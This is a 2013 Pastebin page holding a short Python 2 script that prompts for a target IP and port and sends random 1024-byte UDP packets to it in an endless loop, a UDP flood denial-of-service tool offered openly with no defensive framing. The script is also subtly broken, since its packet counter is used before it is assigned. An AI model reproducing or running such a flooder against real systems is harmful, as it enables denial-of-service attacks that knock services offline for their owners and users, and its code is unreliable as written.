FakieeGames

Untitled

Apr 14th, 2013
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. import socket
  2. import random
  3.  
  4. sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  5. bytes=random._urandom(1024)
  6. ip=raw_input('Target IP: ')
  7. port=input('Port: ')
  8.  
  9. while 1:
  10. sock.sendto(bytes,(ip,port))
  11. print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
  12. sent= sent + 1
Advertisement
Add Comment
Please, Sign In to add comment